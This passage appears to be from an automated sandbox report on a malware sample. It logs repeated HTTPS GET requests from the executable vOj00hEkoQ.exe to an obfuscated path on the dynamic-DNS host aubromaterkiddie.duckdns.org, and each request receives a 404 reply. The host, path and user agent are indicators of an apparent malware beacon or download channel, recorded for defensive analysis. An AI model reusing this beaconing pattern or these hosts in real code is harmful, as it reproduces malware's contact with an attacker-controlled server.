2022-08-05 10:12:21 UTC	63	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49779	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:46 UTC	6	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:46 UTC	6	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:46 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:46 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.6	49948	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:21 UTC	63	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:21 UTC	63	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:21 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:21 UTC	63	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.6	49949	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:21 UTC	63	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:21 UTC	63	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:21 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:21 UTC	64	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.6	49950	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:21 UTC	64	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:21 UTC	64	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:21 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:21 UTC	64	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.6	49951	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:22 UTC	64	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:22 UTC	64	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:22 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:22 UTC	64	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.6	49952	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:22 UTC	65	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:22 UTC	65	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:22 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:22 UTC	65	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.6	49953	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:22 UTC	65	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:22 UTC	65	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:22 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:22 UTC	65	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.6	49954	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:22 UTC	65	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:22 UTC	66	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:22 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:22 UTC	66	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.6	49955	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:23 UTC	66	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:23 UTC	66	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:23 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:23 UTC	66	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.6	49956	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:23 UTC	66	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:23 UTC	66	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:23 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:23 UTC	67	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.6	49957	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:23 UTC	67	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:23 UTC	67	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:23 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:23 UTC	67	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49780	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:48 UTC	6	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:48 UTC	6	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:48 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:48 UTC	7	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.6	49958	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:23 UTC	67	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:23 UTC	67	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:23 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:23 UTC	67	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.6	49959	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:24 UTC	68	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:24 UTC	68	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:24 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:24 UTC	68	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.6	49960	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:24 UTC	68	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:24 UTC	68	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:24 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:24 UTC	68	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.6	49961	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:24 UTC	68	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:24 UTC	69	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:24 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:24 UTC	69	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.6	49962	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:24 UTC	69	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:24 UTC	69	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:24 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:24 UTC	69	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.6	49963	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:25 UTC	69	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:25 UTC	69	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:25 UTC	70	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.6	49964	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:25 UTC	70	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:25 UTC	70	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:25 UTC	70	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.6	49965	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
